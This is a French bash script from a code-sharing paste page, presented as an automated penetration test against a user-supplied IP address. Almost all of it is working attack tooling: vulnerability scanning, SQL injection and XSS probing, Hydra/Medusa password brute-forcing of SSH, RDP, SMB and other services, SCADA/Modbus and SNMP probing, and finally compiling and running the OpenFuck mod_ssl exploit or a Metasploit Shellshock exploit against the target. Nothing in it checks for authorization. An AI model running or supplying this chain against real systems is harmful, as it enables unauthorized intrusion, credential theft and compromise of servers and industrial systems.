Voici votre URL de partage https://sharemycode.io/c/fa4f5a0 (Cliquer pour copier) (Copié)

#!/bin/bash

# Couleurs pour affichage clair
GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m' # Pas de couleur

# Demander l'IP cible
read -p "Entrez l'adresse IP de la cible (ex: 192.168.210.4) : " TARGET

echo -e "${GREEN}--- DÉBUT DU PENTEST AUTOMATISÉ SUR : $TARGET ---${NC}"

# Vérifier si jq est installé (pour gérer JSON)
if ! command -v jq &> /dev/null; then
    echo -e "${RED}jq non installé. Installation...${NC}"
    sudo apt update && sudo apt install jq -y
fi

# Vérifier si l'API Shodan est configurée
read -p "Entrez votre clé API Shodan (laisser vide pour ignorer) : " SHODAN_API
if [[ -n "$SHODAN_API" ]]; then
    echo -e "${GREEN}Recherche d'infos sur $TARGET via Shodan...${NC}"
    curl -s "https://api.shodan.io/shodan/host/$TARGET?key=$SHODAN_API" | jq '.' > shodan_results.json
    echo -e "${GREEN}Résultats Shodan enregistrés dans shodan_results.json${NC}"
fi

# 1️⃣ Scan avec Nmap (JSON + fallback vers Masscan)
echo -e "${GREEN}[1/12] Scan des ports et services...${NC}"
nmap -sV -A -p- --script vuln $TARGET -oX nmap_scan.xml
if [ ! -s "nmap_scan.xml" ]; then
    echo -e "${RED}Échec Nmap, tentative avec Masscan...${NC}"
    masscan -p1-65535,U:53,161,500 --rate=1000 -e eth0 --wait=0 $TARGET -oX masscan_scan.xml
fi

# 2️⃣ Scanner les répertoires cachés (Gobuster + fallback Dirb)
echo -e "${GREEN}[2/12] Détection de fichiers cachés avec Gobuster...${NC}"
gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_scan.json --format json
if [ ! -s "gobuster_scan.json" ]; then
    echo -e "${RED}Échec Gobuster, tentative avec Dirb...${NC}"
    dirb http://$TARGET /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt
fi

# 3️⃣ Tester SQL Injection (SQLMap + fallback WFuzz)
echo -e "${GREEN}[3/12] Test des injections SQL avec SQLMap...${NC}"
sqlmap -u "http://$TARGET/page.php?id=1" --batch --dbs --output-dir=sqlmap_results
if [ ! -s "sqlmap_results/output.txt" ]; then
    echo -e "${RED}Échec SQLMap, tentative avec WFuzz...${NC}"
    wfuzz -c -z file,/usr/share/seclists/Fuzzing/sql.txt --hc 404 http://$TARGET/page.php?id=FUZZ > wfuzz_sql.txt
fi

# 4️⃣ Tester XSS (XSStrike + fallback Dalfox)
echo -e "${GREEN}[4/12] Scan des failles XSS avec XSStrike...${NC}"
xsstrike -u "http://$TARGET" -o xsstrike_scan.json --format json
if [ ! -s "xsstrike_scan.json" ]; then
    echo -e "${RED}Échec XSStrike, tentative avec Dalfox...${NC}"
    dalfox url http://$TARGET -o dalfox_scan.json --format json
fi

# 5️⃣ Brute-force automatique (Hydra + fallback Medusa)
for service in ssh ftp mysql telnet rdp vnc smb; do
    port=$(grep -Eo "[0-9]{2,5}/tcp open $service" nmap_scan.xml | awk '{print $1}' | cut -d'/' -f1)
    if [ ! -z "$port" ]; then
        echo -e "${RED}$service détecté sur le port $port ! Tentative de brute-force...${NC}"
        hydra -L /usr/share/seclists/Usernames/top-usernames.txt -P /usr/share/wordlists/rockyou.txt $service://$TARGET -o hydra_$service.json --json
        if [ ! -s "hydra_$service.json" ]; then
            echo -e "${RED}Échec Hydra, tentative avec Medusa...${NC}"
            medusa -h $TARGET -U /usr/share/seclists/Usernames/top-usernames.txt -P /usr/share/wordlists/rockyou.txt -M $service -O medusa_$service.txt
        fi
    fi
done

# 6️⃣ Scan IoT (Shodan + Nmap + fallback WhatWeb)
echo -e "${GREEN}[6/12] Scan des équipements IoT...${NC}"
nmap -p 23,80,554,8000,8080,8888 --script=http-title,rtsp-methods,upnp-info $TARGET -oX iot_scan.xml
if [ ! -s "iot_scan.xml" ]; then
    echo -e "${RED}Échec Nmap, tentative avec WhatWeb...${NC}"
    whatweb -a 3 http://$TARGET -o whatweb_scan.txt
fi

# 7️⃣ SCADA / ICS (Modbus + BACnet + fallback ZMap)
echo -e "${GREEN}[7/12] Scan des systèmes industriels SCADA/ICS...${NC}"
nmap -p 502,44818,1911,20000 --script=modbus-discover,bacnet-info $TARGET -oX scada_scan.xml
if [ ! -s "scada_scan.xml" ]; then
    echo -e "${RED}Échec Nmap, tentative avec ZMap...${NC}"
    zmap -p 502 $TARGET -o zmap_scada.txt
fi

# 8️⃣ Scanner SNMP (SNMPWalk + fallback OneSixtyOne)
echo -e "${GREEN}[8/12] Scan SNMP pour récupérer des informations réseau...${NC}"
snmpwalk -c public -v2c $TARGET > snmp_results.json
if [ ! -s "snmp_results.json" ]; then
    echo -e "${RED}Échec SNMPWalk, tentative avec OneSixtyOne...${NC}"
    onesixtyone -c community_strings.txt -i $TARGET -o onesixtyone_snmp.json --json
fi

# 9️⃣ Scanner VoIP (SIP, RTP, SVMap)
echo -e "${GREEN}[9/12] Scan des services VoIP (SIP, RTP)...${NC}"
nmap -p 5060,5061,2000,8000 --script=sip-methods,sip-enum-users $TARGET -oX voip_scan.xml
if [ ! -s "voip_scan.xml" ]; then
    echo -e "${RED}Échec Nmap, tentative avec SVMap...${NC}"
    svmap $TARGET -o svmap_voip.txt
fi

# 🔟 Exploitation Apache + fallback sur Metasploit
echo -e "${GREEN}[10/12] Recherche d'exploits Apache...${NC}"
searchsploit apache > exploits_apache.json --json
if grep -q "mod_ssl" exploits_apache.json; then
    echo -e "${RED}Apache mod_ssl vulnérable, tentative d'exploitation...${NC}"
    searchsploit -m unix/remote/764.c
    gcc 764.c -o openfuck -lssl -lcrypto
    ./openfuck 0x6b http://$TARGET
else
    echo -e "${RED}Échec exploitation directe, tentative via Metasploit...${NC}"
    msfconsole -q -x "use exploit/unix/http/apache_mod_cgi_bash_env_exec; set RHOSTS $TARGET; exploit"
fi

echo -e "${GREEN}--- PENTEST TERMINÉ ! 🚀 ---${NC}"

Informations

Cet extrait a été créé le 22 janv. 2025 à 03:02:56

Cet extrait expire le 21 févr. 2025 à 03:02:56

Langage : bash

Logo bash

Link

Voici votre URL de partage : https://sharemycode.io/c/fa4f5a0 Copié